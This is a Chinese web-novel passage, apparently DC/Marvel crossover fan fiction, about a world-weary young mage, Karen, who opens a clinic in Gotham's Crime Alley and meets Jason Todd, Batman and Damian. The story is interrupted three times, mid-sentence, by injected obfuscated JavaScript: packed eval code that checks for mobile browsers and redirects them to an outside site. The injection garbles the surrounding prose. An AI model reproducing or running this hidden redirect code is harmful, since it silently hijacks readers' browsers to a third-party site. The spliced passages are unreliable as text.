《[综英美]又是在哥谭救死扶伤的一天》 1. 第一章 1 卡伦·格里索温选了个好日子。 真的,他特意选的。翻过黄历,算过星象,甚至还用魔法窥探过时间线的褶皱——确保这一天诸事皆宜,百无禁忌。黄历上写得清清楚楚:今日开门,生意红火。 卡伦看着那行字,心想:挺好。来几个感冒发烧的,来几个换药的,来几个闲得没事做体检的。平平淡淡,才是真。 然后他打开电视,看见新闻里正在播: “小丑今日在市中心进行‘即兴表演’,目前已造成……” 卡伦关掉电视。 行吧。 生意红火。 他的诊所在犯罪巷边缘,不大,门脸甚至有点破。上午他花了两个小时把招牌挂好,在门牌角落刻上自己的符号——那个符号没有任何意义,就是他本人的标记,懂的人自然懂,不懂的人看了也白看。 然后他站在门口,看着远处市中心冒烟的方向,思考一个问题: 现在关门还来得及吗? 答案是来不及了。 因为他看见一群人正往这边跑。 老人、孩子、抱着婴儿的母亲、一个跑丢了一只鞋的年轻人、一个死死护着怀里纸袋的中年男人(那纸袋里可能装着刚发的工资,也可能是给女儿买的生日礼物)。他们身后追着七八个拎着棒球棍的小丑帮混混,脸上画着滑稽的妆,跑起来像一群发疯的彩色的鬣狗。 卡伦看着他们。 那群人也看见了他——准确地说,看见了他身后那扇开着的门。 一扇开着的门,在哥谭,在有人被追杀的时候,就是全世界最美好的东西。 他们朝这边跑过来。 卡伦看着他们。 然后他做了一件事。 他抬起手,随便在空中划了两下。 没有任何光芒,没有任何咒语,没有任何特效——就是一个简单的魔法阵,条件设得很随意:无辜者 + 需要帮助 = 能看见诊所并进入。不满足的人,路过只会看见一家“停业装修”的破店。 他设完就没再看。因为那群人已经冲进来了。 “关门!”有人喊,“快关门!” “门关着呢,”另一个声音说,“但是……外面那些人怎么……” 卡伦没理他们。他走到柜台后面,给自己倒了杯水。 那群人挤在诊所里,惊魂未定地看着窗外——那些混混就在几米外的地方转圈,骂骂咧咧地东张西望,但他们就是看不见这间诊所,也看不见窗后挤成一团的人群。 “他们……他们看不见我们?”有人小声问。 卡伦喝了口水。 “嗯。” “为什么?” 卡伦想了想。 “因为我今天开业。黄历说的。” 那个问话的人居然点了点头,好像这解释了一切。 卡伦觉得,哥谭人确实有点东西。 --- 2 杰森本来在自己的安全屋里睡觉。 被吵醒的时候他第一反应是掏枪,第二反应是看时间——下午两点,他睡了四个小时,勉强够本。第三反应是听外面的动静:有人在跑,有人在喊,有棒球棍砸在墙上的声音,还有那种小丑帮特有的、让人听了就想揍人的笑声。 他骂了一句,拎枪就出门了。 不是想当英雄。是他的地盘,轮不到小丑帮撒野。 小丑今天在市中心搞事,他是知道的。那种级别的混乱,蝙蝠侠肯定已经过去了,说不定连几个小鸟都飞出去了。杰森没打算掺和——那是他们的事,不是他的事。 但小丑帮的杂鱼跑到犯罪巷来? 那就是他的事了。 他追着声音跑,转过几个街角,然后看见那群混混——七八个人,围着一堵墙转圈,好像那堵墙欠他们钱似的。 杰森停下来,眯起眼睛。 那群混混在追的人不见了。那群人就像凭空蒸发了一样,消失在……他顺着混混们围着的方向看过去—— 一家店。 一家看起来普普通通的店,门开着,门口有个招牌还没挂稳,门牌角落刻着一个符号。 杰森认识那个符号。 是因为两年前回哥谭的时候碰见过几次,帮忙打过架,话不多,帮完就走,但偶尔也能聊两句。在他和老头子关系稍缓后,甚至有几次看见他和扎塔娜到蝙蝠洞里帮忙处理一些魔法测的事。 其实他觉得对方还挺有意思,颇有讲地狱笑话的潜力,偶尔用他那张人偶脸讲出一些冷笑话,真的让人觉得很搞笑。 杰森记得他的脸,也记得他刻东西的习惯——那个人不管在什么东西上留下标记,都喜欢刻在角落,不显眼,但你一旦注意到就忘不掉。 是那家伙的店? 杰森往前走了一步。 然后他发现自己走不过去了。 不是物理上的障碍。就是一种……感觉。有什么东西在他往前走的时候轻轻推了他一下,不疼,但意思很明显:“你不需要进去。” 杰森愣了一下。 他往前走第二步。那感觉更强了。第三步,他几乎能感觉到一堵透明的墙挡在面前,软软的,像果冻,但就是过不去。 他站在原地,盯着那扇门,脑子里冒出一个问题: 这他妈是什么情况? 他试着绕到旁边——没用。那堵无形的墙是圆形的,把整家店包在里面。他试着伸手摸——摸不到实体,但手伸到一定距离就再也伸不过去了,像是被空气礼貌地拦住。 杰森站在那儿,突然觉得这场面有点荒诞。 他,杰森·陶德,红头罩,犯罪巷的地下皇帝,被一个看不见的果冻墙挡在一家诊所外面。 而那群混混还在旁边转圈,对着空气骂街。 他深吸一口气。 行。先解决那群傻子。 --- 3 五分钟之后 那群混混躺在地上,姿势各异,唯一相同的是都在呻吟。 杰森把棒球棍扔到一边,拍了拍手,走回那家店门口。 那堵无形的墙还在。 他站在那儿,盯着门看了几秒,然后抬头,看向旁边的窗户。 窗户是落地窗,很大,很亮,里面站着一个人。 那个人就站在那儿,隔着玻璃看着他,下午的阳光很好,七月的阳光斜照在那双熔金般的眸子里,泛出一种金属的冷感。 杰森认出了那张脸。 两年前帮他打过架的那张脸。表情和那时候一模一样——淡淡的,没什么情绪,好像在看他,又好像在看一个路过的风景。 杰森没动。 那个人也没动。 两个人就这么隔着几米远、一堵看不见的果冻墙、一扇落地窗,对视了大概五秒。 然后杰森扬起下巴,冲那人点了点头。 嘴型说:“好久不见。” 窗里的人看着他。 表情没变。但嘴角好像动了一下——可能是笑,可能是光线,也可能只是杰森的错觉。 然后那个人转身,消失在窗后。 杰森站在那儿,盯着空了的窗户,突然笑了一声。 “有意思。” 他转身走了。 走了几步,又停下来,回头看了一眼那家店。 门还开着。门口那个符号还在。那堵看不见的墙……好像也没那么讨厌。 杰森想了想,决定明天再来。 不带枪,不打架,就来看看——那堵墙今天拦他,明天还拦不拦。 --- 4 “卡伦·格里索温。” 那个名字在舌尖滚了一圈,没出声。 伦。 如果有人问起昵称,他会这么说。美国人就喜欢这种——伦,Karren,直接取后半部分,Ren ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444098|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,显得亲昵,而且发音简便。 卡伦·格里索温。犯罪巷边缘的小诊所医生,黑色的头发被他调染了几缕金,加上过于年轻的脸,很难让人信服。 谁管呢?反正他又不靠诊所吃饭,空间里那么多魔法世界积累来的金银,坐吃山空八辈子也不是什么问题。 今天开业,生意红火,黄历诚不我欺。 他站在窗后,看着那个人走远。 白色挑染的头发,红黑色的夹克,走路的姿势带着点“老子谁也不鸟”的劲儿。刚揍完七八个人,气都没喘匀,就被一堵果冻墙拦住了。他愣了一下,没恼,没骂,先抬头看向窗户,找到卡尔的位置,然后点了点头,嘴型说“好久不见”。 好像被挡在外面不是什么大不了的事。好像他明天还能再来。好像这世界上没有什么事能让他真的生气——除了小丑,除了蝙蝠侠,除了那些真正触碰底线的事。 卡伦看着那个背影,想起两年前第一次见面的时候。 那时候他就注意到了——杰森的灵魂不是灰色的,不是大多数人的那种、活着挣扎不坏不好的灰。是红的。愤怒的红,燃烧的红,像一团永远烧不完的火。 那时候那团火还很虚弱。刚从水里捞出来的那种虚弱,湿漉漉的,烧得勉强,仿佛一阵风就能吹灭。 但现在是两年后。 那团火已经烧起来了。愤怒的火焰把整个灵魂照得发亮,像是浴火重生的鸟——泡过拉撒路之池的原因吧,总让人想起不死鸟的传说。羽毛已经长齐了,厚实的,温暖的,亮得刺眼。 卡伦在魔法世界见过很多灵魂。 华丽的,璀璨的,古老的,扭曲的。有的像星河,有的像深渊,有的像被揉碎的光。他见过大魔法师的灵魂,见过古老存在的灵魂,见过那些活了几百年、灵魂已经被时间磨得光滑如玉的存在。 但杰森的灵魂不一样。 它不是最华丽的。 但却是燃烧的最美的。 那种张扬的、带着攻击性的美。明明受过最重的伤,却烧得比谁都亮。明明可以缩在角落里舔伤口,却非要站到最前面,让所有人都看见他的火,会在看见一群被追杀的无辜者时,拎着枪冲出去,把那些人揍趴下。 卡伦想起自己刚穿越到魔法世界的时候。 那时候他还是个敢打敢拼的少年人。 然后被阴险的魔法世界磨平了棱角,现在是一个皮球, 十几年过去,那些少年意气被一点点磨平,最后跨过了十几年的时间回到了故乡。 曾经对于他来说,魔法世界是个新奇又陌生的地方,过了十几年回来,现在他出生的哥谭也是了。虽然这里只过了六年,但童年时期的朋友死得死散得散,他曾经也抱怨过,为什么非要是他莫名其妙地穿到魔法世界,不过后来就只能抱怨为什么让他回来了。 他以为这样就够了,活着就行。不再有未能达成的约定,也不会有没能来得及说出口的告别。 但现在他站在窗后,看着窗外那个被挡在外面也不恼、反而冲他点头说“好久不见”的人,看着那团燃烧着的、张扬的、不死鸟一样的灵魂—— 卡伦发现自己很难移开眼睛。 不是想靠近。不是想拥有。甚至不是想认识,尽管他确实和他有过交集。 就是……想多看一会儿。 OK,他承认,他是个颜控,谁让杰森的脸也和他的灵魂一样美丽呢? 他嘴角动了动。 然后转身,消失在窗后。 他想:明天,把那个魔法阵改一改。 不是为了让杰森能进来。是……让那堵果冻墙软一点,推起来没那么费劲? 毕竟那人要是天天站在外面冲他点头说“好久不见”,也挺尴尬的。 而且—— 他又看了一眼窗外那个已经快消失的背影。 黄历说得对。 今天开门,生意确实很红火。 2. 第二章 1 那个世界,种族混居。 听起来挺酷的——精灵、矮人、兽人、各种神秘种族,热热闹闹地挤在一起。但热闹是他们的,人类什么都没有。 人类基数最大,但大部分人类没有特殊才能。不会魔法,没有天赋,只有一副血肉之躯。 在那种世界,没有才能的人,就是资源。 卡伦见过。 见过被标价的人类孩子,关在笼子里,等着被买家挑走。见过成年的人类被套上项圈,像牲畜一样拉去矿场。见过那些曾经是“人”的东西,最后变成一堆没有名字的白骨。 他曾经也是其中之一。 笼子里待过,被挑过,被嫌弃过(他那时候太瘦,卖不上好价钱),差点被送去某个需要“祭品”的地方。 然后有人把他捞出来了。 --- 2 卡伦至今不知道师傅到底是什么种族。 不是人类,这是肯定的。也不是常见的那些精灵矮人之类。永远穿着一个大大的黑色斗篷,帽子里翻涌的雾气让人看不清他的脸(就让他两年前第一次见到蝙蝠侠的时候,总有一种莫名其妙的既视感)师傅出现的时候,周围的人都会下意识低下头——不是因为害怕,是一种本能的……敬畏。 师傅收养了他两年。 两年里,师傅教了他一些东西。不是系统性的教育,是那种“今天有空就教一点,明天没空你就自己待着”的散养。教过几个咒语,教过怎么感知灵魂,教过怎么在危险来临时判断是该跑还是该躲。 两年后,师傅说:你可以走了。 卡伦当时问:去哪? 师傅看了他一眼,说:哪都行,活着最好,死了也行。 然后就真的走了。 卡伦后来想,师傅可能是故意的。两年时间,刚好够他学会活下去的基本技能,又不够他产生依赖。从此以后,无论遇到什么事,他都不会指望有人来救——因为那个人说过:可以走了。 --- 3 那个世界,后来被污染了。 不是物理上的污染,是……更深层的东西。有点像蝙蝠侠那个平行的黑暗多元宇宙——你知道我说的那种,整个世界的底色都是黑的,绝望渗进每一寸空气里。 卡伦见过污染扩散的过程。 一开始是边缘地带,出现一些奇怪的东西,扭曲的生物,发疯的人。然后是城市,是村庄,是那些曾经以为自己安全的聚居地。最后是整个世界都染上一层灰蒙蒙的色调,像是有人把滤镜调成了“末日模式”。 他在那种环境里活了很久。 活了多久?十年?二十年?还是更长时间? 不是“活着”,只是“活下来”。 见过最坏的人性,也见过那些还在挣扎的光。帮过一些人,也看着一些人死去。慢慢学会了一件事:不要对任何事抱期待。期待会让人失望,失望会让人脆弱,脆弱会让人死。 所以他变得冷漠。 在那个世界里,这是一种很可贵的品质。 一个人站在冷风里太久,就要习惯凛冽的风声和刺骨的寒冷,最后忘记暖和是什么感觉。 这样你才能适应这个世界。 --- 4 刚穿越到魔法世界的时候,卡伦不是这样的。 那时候他想得挺多,尤其是刚被师傅救下来的时候。想成为厉害的魔法师,想改变底层人类生存的现状,想——后来发生了什么?记不清了。 可能是笼子里的那些日子终究让什么东西不一样了,可能是师傅离开后的放养磨掉了一些,可能是那个世界被污染的过程也包含着对人类意志的污染。 最后只剩下一团余烬。 带着零星的火星,勉强烧着。不会灭,但也烧不旺。就是那样,温温吞吞地活着。 所以当他第一次看见杰森的时候,他愣住了。 多么耀眼的灵魂。 燃烧的红,愤怒的红,像一团永远烧不完的火。 明明受过那么重的伤(卡伦能看见那些伤,灵魂上的伤,比躯体上的深得多),却烧得比谁都亮。明明可以缩在角落里慢慢愈合,却非要站到最前面,让所有人都看见他的火。 卡伦站在那儿,看着那团火,心想: 原来真的有人可以烧成这样。 不是羡慕。不是想靠近。就是……想多看一会儿。 在冷的地方待久了,看见一团火,尽管不再渴望温暖,也会不自觉地往那边看。 --- 5 他其实可以留在魔法世界,被信任的人朝着胸口捅一刀也不一定要死的,不是吗? 那里再破败,再污染,再昏暗,他也习惯了。习惯是一种很可怕的东西,可以让人忍受任何环境。 但那一天他突然格外疲惫。 他已经在这个陌生的世界里漂泊了不知道多少年了,如今种种责任,在生死面前好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444099|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像也有了放下的可能。 他为了这个世界打拼了这么久,那他的故乡呢? 哥谭如今还是那个样子吗? 那个他十岁之前待过的地方。那个没有魔法、没有怪物、只有普通人类的城市。那个据说很乱、很脏、很危险的城市——但那又怎样呢?他刚从那个被污染的魔法世界出来,什么乱、脏、危险没见过? 不得不承认,哥谭确实是一个很神奇的地方,出生在那里的人仿佛天生就会被那座城市迷住,然后不可自拔地陷到那个泥潭里。 于是就回来了。 出乎意料的,他在这边的身体才长了六岁。 十六岁第一次回来,撞见杰森打架,帮了忙又匆匆离开。 十八岁正式回来,开了这家诊所,挂上招牌,设了个魔法阵。 然后坐在柜台后面,等生意上门。 对生活水平没什么追求,能活着就行,能有个地方待着就行,能偶尔看见那团明亮的火光……也行。 --- 6 那间诊所,很小,很破,很不起眼。 但它是卡伦的。 不是卖家的笼子,不是临时落脚的地方,不是师傅的屋檐下,是他自己的…… 或许可以称之为家的地方吗? 他在门上刻了符号,在周围布了魔法阵,在柜台后面放了一把椅子——那把椅子很旧,坐着不太舒服,但他懒得换。 倒也不是没钱,两年里他收入还是挺多的。 怎么个收入法别管。 或许某个天气晴朗的时候,他就来了兴致,添置一些好家具吧。 但现在嘛…… 有人进来,他就治。没人进来,他就坐着。 有时候会想:师傅现在在哪?那个被污染的世界现在怎么样了?那些曾经在笼子里和他一起待过的孩子,有几个活下来了? 但想这些没用,所以他不想。 他都已经算是在棺材里仰卧起坐了,而且还突然回了个家,谁还管那个背刺他的世界。 他每天就坐在他的椅子上,看着窗外,等着。 等什么,他不知道。 或许是一缕能晒干他的阳光,又或许是一株能再次点燃他的火苗。 直到某天,一个年轻人站在诊所外面,被一堵看不见的墙挡住,然后抬头看向窗户,嘴型说:“好久不见。” 卡伦站在窗后,看着那团火。 可能等的就是这个。 3. 第三章 1 诊所开业的第二天,哥谭显得很平静,虽然远远传来一些骂战的声音,但至少没有飞到半空上的汽车,或一群拿着枪的游乐场工作人员。 老太太是在下午三点多进来的。 那时候卡伦正盯着窗外发呆,思考一个问题:如果今天剩下的时间都没人来,他是不是应该提前关门回去睡觉。 然后门被推开了。 进来的是一个老太太,头发花白,背有点驼,走路的时候左脚明显不敢用力。她手里拎着一个塑料袋,袋子里不知道装了什么,鼓鼓囊囊的。 卡伦看了她一眼。 普通人。灵魂是灰的,带一点点暖色——那种活了一辈子、见过世面、但没被世面打倒的人才有的颜色。 “小伙子,你是新来的医生?”老太太一边说一边往柜台这边走,“我听说这儿开了家新诊所,过来看看。” 卡伦点点头:“脚怎么了?” 老太太愣了一下,然后笑了:“你这眼睛够尖的。扭了,昨天从菜市场出来的时候踩空了。” “坐。”卡伦指了指旁边的椅子。 老太太坐下,把塑料袋放在脚边,自己弯腰去卷裤脚。卡伦走过去,蹲下来,接手了她的动作。 老太太又愣了,然后笑得更开了:“哟,小伙子还挺贴心。” 卡伦没接话,低头检查她的脚踝。肿了,但不算严重,没伤到骨头。 “不严重,”他说,“冰敷,少走路,几天就好。” 他站起来,走到柜台后面,从冰箱里拿了个冰袋(他也不知道自己为什么要准备冰袋,但就是准备了),又拿了卷绷带,走回来蹲下,开始给她包扎。 老太太低头看着他忙活,嘴里没闲着: “小伙子多大了?” “二十左右吧。”卡伦随口答——实际18,但说二十省事。 “有对象没?” “……没有。” “哎呀,这么俊的小伙子没对象?姑娘们都瞎了眼了?” 卡伦手上的动作顿了一下,决定不接这话。 老太太继续:“你一个人开诊所?家里人呢?” 卡伦想了想,决定说实话:“不在。” 老太太沉默了一秒,然后说:“哦,那你自己可得照顾好自己。” 语气很平常,就像在说“今天天气不错”。 卡伦抬头看了她一眼。 老太太冲他笑了笑,脸上的皱纹挤在一起,眼睛亮亮的。 卡伦低下头,继续包扎。 “好了,”他站起来,“三天别走太多路,有需要再来。” 老太太站起来,试着踩了踩地,点点头:“行,舒服多了。多少钱?” 卡伦想了想:“……不用。” 老太太瞪大眼睛:“那怎么行?你开门做生意的,不收钱怎么活?” 卡伦不知道该怎么解释“我对生活水平没什么追求”这件事,只好说:“开业优惠。” 老太太盯着他看了几秒,突然笑了。 “行,开业优惠。”她弯腰拎起脚边那个塑料袋,往柜台上一放,“那这个你收着。” 卡伦看着那袋东西——是一个透明的食品盒,里面整整齐齐码着饼干,手工做的,形状不太规则,但闻着挺香。 老太太:“我自己烤的。本来要带给我孙子的,他住那边,结果脚崴了就没去成。给你了。” 卡伦:“……不用——” “拿着。”老太太打断他,语气不容商量,“你不收钱,总得收点别的。不然我心里过不去。” 卡伦看了看那盒饼干,又看了看老太太。 老太太的眼睛亮亮的,等着他收下。 卡伦伸手,把饼干盒拿起来,放到柜台里面。 “谢谢。”他说。 老太太笑得眼睛眯成一条缝:“这就对了。行,我走了,小伙子好好干。” 她转身,慢慢往外走。走到门口又回头:“对了,你叫什么?” 卡伦:“卡伦。” 老太太点点头:“卡伦,好名字。我叫玛莎,就住街角那栋楼,有空来坐。” 门关上了。 哥谭还有这样的人吗? 不知道和我比起来谁更奇怪。 也对啊,哥谭毕竟是个大城市,虽然10个砖头砸下去能砸中五个犯过点法的人(还有三个空了)但至少还是有普通人的不是? 对吧?刚才那个老太太的大衣口袋里不是枪对吧? 卡伦站在柜台后面,盯着那盒饼干看了很久。 他其实不太确定该怎么处理这个东西。在魔法世界那十几年,没人给他送过饼干。笼子里没有,师傅那儿没有,后来那些年——更不可能有。活着就行,哪有饼干。 他把饼干盒往柜台角落里推了推,眼不见为净。 然后门又被推开了。 --- 2 这次进来的不是一个人,是俩。 一个大的,一个小的。 大的那个一身黑,披风拖到地上,站那儿像根会喘气的烟囱。小的那个五彩缤纷,双手抱胸,下巴抬得能戳死人,眼睛正以每秒八百转的速度扫描诊所的每个角落。 卡伦沉默了三秒。 “……我这儿不收蝙蝠。” 蝙蝠侠没说话。 达米安开口了:“你这地方有魔法痕迹。谁布的?” 卡伦看了他一眼,又看向蝙蝠侠。 蝙蝠侠终于开口,声音低得像从地底下传上来的:“扎塔娜说你在这儿。” 卡伦点头:“嗯。” 蝙蝠侠:“那个魔法阵,谁教的?” 卡伦:“我师傅。” 蝙蝠侠:“你师傅是谁?” 卡伦:“不知道。” 蝙蝠侠:“……” 达米安插嘴:“不知道是什么意思?” 卡伦想了想,用他能想到的最简单的说法解释:“就是收了两年徒弟,没报名字,然后就走了。” 达米安眉头皱起来,正要说什么,被蝙蝠侠抬手制止了。 蝙蝠侠站在那里,沉默地打量着卡伦。卡伦也看着他,表情淡淡的,没什么特别的反应——没有紧张,没有防备,也没有那种“哇是蝙蝠侠”的激动。就好像门口站的是个送快递的,只不过这个快递员穿得黑了点。 沉默持续了大概十秒。 卡伦打破沉默:“还有事?” 卡伦扭头看了看诊所墙上挂着钟,现在已经晚上10点了,他平时就睡在诊所的休息室里,虽然对这两只夜行动物来说,可能还是个非常早的时间,但他确实已经打算睡了。 然后他转身,大蝙蝠和披着鲜艳小鸟皮的小蝙蝠已经消失了。 卡伦:? --- 3 大概过了10分钟,卡伦收起手机,准备去洗漱,诊所的门又开了。 真是的,白天客人没两个,晚上蝙蝠小鸟一堆,这里是什么动物诊所吗? 杰森溜进来,手里拎着一袋东西,往柜台上一放。 “老头子刚才来了?” 卡伦点头。 杰森看了一眼门口的方向:“带那小子了?” 卡伦又点头。 杰森笑了一声:“来验货的。他觉得你过关了。” 卡伦:“……我没申请。” 杰森:“在这地方,不用申请。他看过就行。” 卡伦低头看了看杰森扔在柜台上的那袋东西——是一袋薯片,和他之前被偷的那个牌子一模一样。 值得一提的是,这件事还是他.几个月前.偶然回哥谭和杰森碰上时发生的。 他抬头看杰森。 杰森在看天花板。 卡伦:“……这是还我的?” 杰森:“不知道你在说什么。” 卡伦:“每次遇上你,我的安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444100|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全屋里就会莫名其妙少掉一些薯片。” 杰森:“那得问你自己。” 卡伦:“监控拍到你拿的。” 杰森愣了一下:“你这几个不超过三天的临时落脚点还有监控?” 卡伦:“没有。” 杰森:“……” 卡伦:“但你现在承认了。” 杰森沉默了三秒,伸手去够那袋薯片。 卡伦手更快,直接把袋子收进柜台下面。 杰森瞪他。 卡伦面无表情:“进了我的门,就是我的。” 杰森:“……你讲不讲理?” 卡伦:“不讲。” 杰森翻了个白眼,走到角落那张破椅子前坐下,脚往旁边的小茶几上一搭。 卡伦看着那只脚,又看了看那张小茶几。 杰森:“怎么?” 卡伦:“那是放杂志的。” 杰森:“你有杂志吗?” 卡伦:“……” 杰森:“那不就得了。” 卡伦决定不跟他计较,低头继续收拾东西。收拾了一会儿,突然想起一件事。 “对了,”他抬头,“刚才那个小的,是谁?” 杰森正在研究天花板上的一道裂缝,随口答:“达米安。蝙蝠侠的儿子。” 卡伦:“……蝙蝠侠有儿子?” 杰森:“说来话长。反正就是有。” 卡伦想了想:“他刚才进门的时候,把每一个角落都看了一遍。” 杰森:“正常。” 卡伦:“还问我魔法阵是谁布的。” 杰森:“正常。” 卡伦:“看我的眼神像在看嫌疑人。” 杰森笑了一声:“那更正常。他看谁都那样。” 卡伦沉默了一会儿,又低头继续收拾。 过了一会儿,他突然开口:“你说,我诊所外面现在有几个监控是蝙蝠家的?” 杰森被逗笑了:“怎么,担心了?” 卡伦摇头:“不是。就是好奇,他们装监控之前,打不打招呼。” 杰森笑得更厉害了,笑完又靠回椅子上,闭上眼睛。 “放心吧,”他说,“老头子对你没意见。有意见的话,刚才就不是站门口了。” 卡伦没接话。 诊所里安静下来,只有墙上老钟的滴答声。 过了一会儿,卡伦突然问:“那个老太太,你刚才进来的时候碰见了吗?” 杰森眼睛都没睁:“哪个老太太?” 卡伦:“就是……给我送饼干的。” 杰森睁开眼,看着他,表情有点奇怪。 卡伦:“怎么?” 杰森:“你刚才说什么?有人给你送饼干?” 卡伦点头,指了指柜台角落那个透明盒子。 杰森盯着那盒饼干看了几秒,又看看卡伦,表情慢慢变得微妙起来。 “……开业第一天,有人给你送手工饼干?” 卡伦:“她说她脚崴了,来换药的。” 杰森沉默了两秒,突然笑了。 “行啊,伦尼,”他说,“开业第一天,病人送饼干,蝙蝠侠上门视察,达米安来踩点——你这诊所生意够红火的。” 卡伦想起黄历上那行字,突然有点想把它撕了。 但他只是拿起那盒饼干,打开,递到杰森面前。 杰森愣了一下。 卡伦:“吃不吃?” 杰森看了他一眼,伸手拿了一块。 嚼了两下,点点头:“还行。” 卡伦也拿了一块,咬了一口。 确实还行。 他靠在柜台后面,嚼着饼干,看着窗外渐渐暗下来的天色。 哥谭的傍晚,街上没什么人。远处偶尔传来警笛声,近处是杰森嚼饼干的咔嚓声。 卡伦心想:所以这就是开诊所的感觉? 好像,也还行。 4. 第四章 1 卡伦知道自己能看见其他世界。 这是师傅教的——或者说,师傅只是点了一下,然后他自己慢慢摸索出来的。那个被污染的魔法世界待久了,总得给自己找点乐子。看看别的世界在发生什么,比看身边那些扭曲的东西强。 他一般就是随便看看。不深入,不干涉,就是……好奇。 看那些世界的人怎么活着。有些世界阳光明媚,英雄满天飞;有些世界灰暗压抑,和他待的那个差不多。看多了也就习惯了,反正都不是他该去的地方。 直到有一天,他突然想:我原来那个世界,现在什么样了? 十岁之前的记忆已经很模糊了。哥谭——那个名字他记得。一个很乱、很脏、很危险的城市。但那是他的故乡。 他试着去看。 然后愣住了。 那个世界……怎么也有这么多穿奇装异服的人? 一个穿红蓝色紧身衣的在楼宇间荡来荡去。一个穿金属盔甲的在天上飞。还有个拿盾牌的大兵,看着挺眼熟——有点像他那个世界的蝙蝠侠,但好像又不太一样。 卡伦盯着看了很久,最后得出一个结论: 我那个故乡,好像也不太平常。 但无所谓。他当时没打算回去。 后来他回去了。十六岁,十八岁,现在。 所以当那天他在诊所里看电视的时候,本来只是想了解一下“故乡的日常”——毕竟离开太久了,得补补课。 新闻里正在播报国际新闻。 “……纽约方面消息,复仇者联盟今日召开新闻发布会,针对近日出现的……” 卡伦手里的杯子停在半空。 电视屏幕上,一个穿红金色盔甲的男人正在对着一堆话筒说话。旁边站着那个拿盾牌的大兵,还有一个红头发的女人,一个大块头的绿家伙—— 卡伦慢慢把杯子放回桌上。 他转头,看向角落里正在翻他零食柜的杰森。 “杰森。” 杰森头都没回:“嗯?” “复仇者联盟是什么?” 杰森愣了一下,回头看他:“你不知道复仇者联盟?” 卡伦摇头。 杰森的表情变得有点奇怪:“你真不知道还是装不知道?” 卡伦认真想了想:“真不知道。” 杰森盯着他看了几秒,突然笑了。 “行啊,伦,”他说,“你是从哪个犄角旮旯来的?” 卡伦想了想那个被污染的魔法世界,决定暂时不回答这个问题。 他指了指电视:“所以,那是什么?” 杰森走过来,看了一眼屏幕,随口解释:“纽约那边的一群疯子。有穿盔甲的,有变绿的,还有个拿锤子的神。天天搞事情,动不动就毁一条街。” 卡伦沉默了一会儿。 “……比哥谭还乱?” 杰森想了想:“乱的方式不一样。哥谭是脏,他们是炸。” 卡伦点点头,继续看电视。 屏幕上,一个拿盾牌的大兵正在说话,大意是“我们随时准备保卫地球”之类。 卡伦盯着那面盾牌,突然想起师傅曾经说过的一句话: 世界和世界之间,比你想的更近。 他当时没听懂。 现在好像有点懂了。 他默默在心里数了一下:魔法世界,哥谭,现在又冒出来一个复仇者联盟。 所以,他以后得同时关注多少个世界的新闻? 杰森看他发呆,伸手在他面前晃了晃:“想什么呢?” 卡伦回过神,看了他一眼。 “在想,”他说,“我是不是该换个黄历。” 杰森笑了一声,回去继续翻他的零食柜。 卡伦靠在柜台后面,看着电视里那群人在那儿发表演讲,心里冒出一个念头: 我那个师傅,当初让我“别死就行”,是不是早就知道这些? 电视里,那个拿盾牌的大兵突然转过头,正对着镜头。 卡伦愣了一下。 那一瞬间,他好像看见那个人的灵魂——明亮的、坚定的、像一面永远不会倒的墙。 和他那个世界的蝙蝠侠有点像。 但更亮一些。 卡伦收回视线,端起杯子喝了一口水。 算了,不想了。 反正他只是个开诊所的。 管他什么复仇者不复仇者,跟他没关系。 ……应该没关系吧? —————— 2 电视里那群人还在发表演讲。 卡伦盯着屏幕,看着那个拿盾牌的大兵一遍遍重复“我们会保护地球”,看着那个穿红金色盔甲的男人在旁边插科打诨,看着那个红头发的女人一脸“我不认识这两个傻子”的表情。 杰森已经放弃从零食柜里找吃的了——因为那柜子已经被他翻空了,卡伦还没来得及补货。此刻他正躺在那张破椅子上,脚搭着小茶几,盯着天花板发呆。 沉默持续了大概五分钟。 卡伦先开口:“饿了。” 杰森眼睛都没睁:“废话,我也饿了。怪谁?你把零食藏那么严实干嘛?” 卡伦:“那是我留着应急的。” 杰森:“今天小丑表演不算应急?” 卡伦想了想,觉得他说得有点道理,但不想承认,于是说:“那是你的应急,不是我的。” 杰森睁开眼,坐起来,看着他,表情微妙:“所以我的死活不算你的应急?” 卡伦面无表情:“你能进这个门,就说明你不是‘应急’。” 杰森愣了一下,然后笑了。 “行吧,”他站起来,“走,吃饭。我请客。” 卡伦看了他一眼:“你请?” 杰森:“怎么,不信?” 卡伦想了想:“你上周借我的二十块还没还。” 杰森抬脚往外走,假装没听见。 --- 3 